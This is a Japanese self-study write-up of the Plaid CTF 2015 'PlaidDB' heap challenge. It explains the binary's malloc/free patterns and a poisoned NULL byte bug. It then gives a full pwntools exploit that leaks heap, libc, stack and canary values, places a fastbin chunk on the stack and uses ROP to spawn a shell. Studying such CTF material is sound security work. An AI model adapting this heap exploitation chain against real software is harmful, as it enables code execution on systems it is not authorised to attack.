Plait CTF 2015 PlaidDB writeup

writeupを読みつつ自習用に解きました。

概要

セキュリティ機構

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

起動すると以下の通り、GET, PUT, DUMP, DEL, EXITのコマンドが選択できるkey-valueストアとなっている。

INFO: Welcome to the PlaidDB data storage service.
INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT
PROMPT: Enter command:

一応各コマンドの挙動の概要を書くと、

コマンド 挙動
GET keyを入力としてvalueとそのサイズを返す
PUT key, size, valueを入力してDBの更新をする。keyが重複する場合はvalueを上書きする。
DUMP keyとバイト数を出力する。
DEL DBから指定したkeyの項目を削除する。
EXIT プログラムを終了する。

となっている。DBのデータの管理方法は

struct Data {
    char* key;
    uint64_t size;
    char* value;
    struct Data *next;
    struct Data *prev;
    struct Data *parent;
    uint64_t flg;
}

という感じになっていると推測しています。削除、挿入等の具体的なデータの操作方法はrevがつらすぎて諦めました。他のwriteupによるとDBの内部では赤黒木が実装されているらしいです。

脆弱性

アドレスのオフセットが0x1040の関数にでヒープを1byteだけ'\0'に書き換える事ができる。つまり、隣接するチャンクのprev_inuseを0にすることが出来る。データ構造の把握はしんどいけどmalloc/freeのタイミングさえ把握できれば問題無さそう。

PUT

PUTを入力した時のmalloc/freeのタイミングについて追ってみる。

put内の処理は大体こんな感じ。

void put() {
    Data *data1 = malloc(0x38);
    //入力文字数に応じてreallocされる。
    char *key = malloc(0x8);
    //input = 任意サイズ
    char *buf = malloc(input);

    if(buf == NULL) {
        free(key);
        free(data1);
        return;
    }

    //dbに同じkeyを持つ要素があればそれを返す、なければNULLを返す。
    Data *data2 = update(key);
    if(data2 == NULL) {
        return;
    } else {
        free(key);
        free(data2->value);
        //data2->value = data1->value;
        free(data1);
        return;
    }
}

なので、mallocに成功して、新たなkeyを入力した場合、

malloc(0x38) -> malloc(0x8) -> malloc(任意)

となって、既にkeyが存在している場合、

malloc(0x38) -> malloc(0x8) -> malloc(任意) -> free(key) -> free(data2->value) -> free(data1)

となります。

DEL

DELを入力したときは、

void del() {
    //入力文字数に応じてreallocされる。
    char *key = malloc(0x8);
    Data *data = find(key);
    if(data != NULL) {
        //delete(data);
        free(key);
        free(data->value);
        free(data);
        free(key);
    }
}

のようなヒープのメモリ操作をしているため、

malloc(0x8) -> free(data->key) -> free(data->value) -> free(data) -> free(key)

の順番でmalloc/freeをしていることがわかりました。

GET

GETに関しては

malloc(0x8) -> free(key)

をしているだけ。

exploit

Poisoned NULL Byte脆弱性と上記のmalloc/freeの順序を利用してオーバーラップしたチャンクを取得後アドレスのリークをする。libcからスタックのアドレスも特定可能な為fastbin unlink attackによりスタック上にチャンクを確保しROPによりsystem("/bin/sh")を実行する。

チャンクのオーバーラップは、3つの隣接するチャンクA,B,Cに対してBをオーバーフローさせることによりCのfree時にAとマージし再び適切なサイズでmallocをすることによりBと領域の重なったチャンクが得られる。Bは本来keyとして確保されたものでサイズは0x20と想定しているためこれをfree後にunsorted_binに入るチャンクサイズに書き換える。。書き換えたらBのfreeする。また、ヒープのアドレスもリークするために予め1つ以上同じサイズのチャンクをfreeする必要がある。Bがunsorted_binに繋げられたらGET(AとCをマージしたやつのkey)を呼び出すことでlibcとヒープのアドレスを特定することが出来る。
先程のオーバーラップしたチャンクはfreeしてチャンクBと組み合わせれば何度も再利用可能なのでlibcのアドレスを元にスタックのアドレスとカナリアの値を特定する。

スタックのアドレスはlibc上のenvironシンボル上に固定オフセットで存在しており、スタックのアドレスがわかればカナリアも特定可能なので順番にリークする。
最後にPUTコマンドを呼び出したときの関数(0x1240)のstrtoulに渡すローカル変数が16byte利用可能なのでfastbin unlink attackのsize制約を満たすためにここを使用してfastbinをスタック上に確保した上でスタックをオーバーフローさせてROPをしてsystemを起動する。

以下はexploitです。

from pwn import *

context.terminal = 'screen'
binary = './datastore'
libcName = './libc.so.6'

elf = ELF(binary, False)
libc = ELF(libcName, False)
p = process(binary, aslr=True)

def wait():
    p.recvuntil('PROMPT: Enter command:')

def GET(key):
    p.sendline('GET')
    p.recvuntil('PROMPT: Enter row key:')
    p.sendline(key)
    p.recvuntil('INFO: Row data [')
    b = p.recvuntil(' bytes')[:-6]
    p.recvuntil('\n')
    data = p.recvuntil('\n')
    return b, data

def PUT(key, size, content):
    p.sendline('PUT')
    p.recvuntil('PROMPT: Enter row key:')
    p.sendline(key)
    p.recvuntil('PROMPT: Enter data size:')
    p.sendline(str(size))
    p.recvuntil('PROMPT: Enter data:')
    p.send(content)
    p.recvuntil('INFO: ')
    return "INSERT" if "Insert" in p.recvuntil(' successful.') else "Update"

def DEL(key):
    p.sendline('DEL')
    p.recvuntil('PROMPT: Enter row key:')
    p.sendline(key)
    p.sendline('INFO: Delete successful.')

size = 0x90
key = lambda x: chr(0x41 + x) * 8
wait()
PUT(key(1), size, 'A' * size)
wait()
PUT(key(2), size, 'B' * size)

wait()
DEL(key(1))
wait()
DEL(key(2))

wait()
PUT(key(3), 0xf0, 'A' * 0xf0)
wait()
PUT(key(4), 0xf0, 'A' * 0xf0)
wait()
DEL(key(3))
wait()
PUT(key(5), 0xf0, 'B' * 0xf0)

payload = ''
payload += 'A' * 8
payload += '\x00' * 8
payload += p64(0xc0)

wait()
PUT(payload, 0xf0, 'A' * 0xf0)

wait()
DEL(key(5))
overlapSize = 0x1b8
overlapKey = 'OVERLAP'

payload = ''
payload += 'A' * 0x90
payload += p64(0x0)
payload += p64(0x41)
payload += 'A' * 0x8
payload += '\x00' * 0x30
payload += p64(0x1c1 - 0x90 - 0x40)
payload += 'A' * (0x1b8 - len(payload))

PUT(overlapKey, overlapSize, payload)
DEL(key(3))
DEL('A' * 8)
_, data = GET(overlapKey)
heapBase = u64(data[20*8:21*8]) - 0x160
libcBase = u64(data[21*8:22*8]) - 0x3c4b78
print 'heapBase: %s' % hex(heapBase)
print 'libcBase: %s' % hex(libcBase)

PUT('A' * 8, 0xf0, 'A' * 0xf0)
PUT(key(3), 0xf0, 'A' * 0xf0)
GET('A' * 8)
DEL(overlapKey)

'''
0x555555758280: 0x0000000000000000      0x0000000000000041
0x555555758290: 0x0000555555758170      0x00000000000000f0
0x5555557582a0: 0x00005555557585b0      0x00005555557580f0
0x5555557582b0: 0x0000555555758010      0x0000000000000000
0x5555557582c0: 0x0000000000000000      0x00000000000000f1
'''
binsh = libcBase + 0x18cd17
environ = libcBase + 0x3c6f38
def leak(addr):
    p.clean()
    payload = ''
    payload += 'A' * 0x90
    payload += p64(0x0)
    payload += p64(0x41)
    payload += p64(binsh) #key
    payload += p64(0x8)
    payload += p64(addr) # leak
    payload += p64(heapBase + 0xf0)
    payload += p64(heapBase + 0x10)
    payload += p64(0x0)
    payload += p64(0x1c1 - 0x90 - 0x40)
    payload += 'A' * (0x1b8 - len(payload))

    PUT(overlapKey, overlapSize, payload)
    d = u64(GET('/bin/sh')[1][:8])
    DEL(overlapKey)
    return d

stackBase = leak(environ) - 0x20648
canaryAddr = stackBase + 0x20538
print(hex(canaryAddr))
canary = p64(leak(canaryAddr))

payload = ''
payload += 'A' * 0x90
payload += p64(0x0)
payload += p64(0x61)
payload += p64(heapBase + 0x170) #key
payload += p64(0x8)
payload += p64(heapBase + 0x5b0) # leak
payload += p64(heapBase + 0xf0)
payload += p64(heapBase + 0x10)
payload += p64(0x0) * 6
payload += p64(0x1c1 - 0x90 - 0x60)
payload += 'A' * (0x1b8 - len(payload))

print hex(heapBase + 0x170)
PUT(overlapKey, overlapSize, payload)

fakeSize = 0x58
DEL(key(3))

#target ~ target+0x10 are controled
target = stackBase + 0x204f0
print 'target: %s' % hex(target)

payload = ''
payload += 'A' * 0x90
payload += p64(0x0)
payload += p64(0x61)
payload += p64(target) #fd
payload += p64(0x0) * 10
payload += p64(0x1c0 - 0x90 - 0x60)
payload += 'A' * (0x1b8 - len(payload))

DEL(overlapKey)
PUT(overlapKey, overlapSize, payload)

PUT('fake', fakeSize, 'B' * fakeSize)

payload = ''
payload += str(fakeSize) + '\x00'
payload += '\x00' * (0x8 - len(payload))
payload += '\x61' + '\x00' * 6

print hex(u64(canary))
p.sendline('PUT')
p.recvuntil('PROMPT: Enter row key:')
p.sendline('fake1')
p.recvuntil('PROMPT: Enter data size:')
p.send(payload)
p.recvuntil('PROMPT: Enter data:')

# ROP
binsh = libcBase + 0x18cd17
system = libcBase + 0x45390
poprdi = libcBase + 0x21102

payload = ''
payload += 'A' * 0x8
payload += canary
payload += 'A' * 0x18
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(system)
payload += 'C' * (fakeSize - len(payload))

p.send(payload)
p.recvuntil('INFO: ')

p.interactive()

参考

Plaid CTF 2015 PlaidDB Writeup « Winesap's Blog

FrizN - Plaid CTF 2015 - PlaidDB - pwn 550

Visualizing a single null-byte heap overflow exploitation · @wapiflapi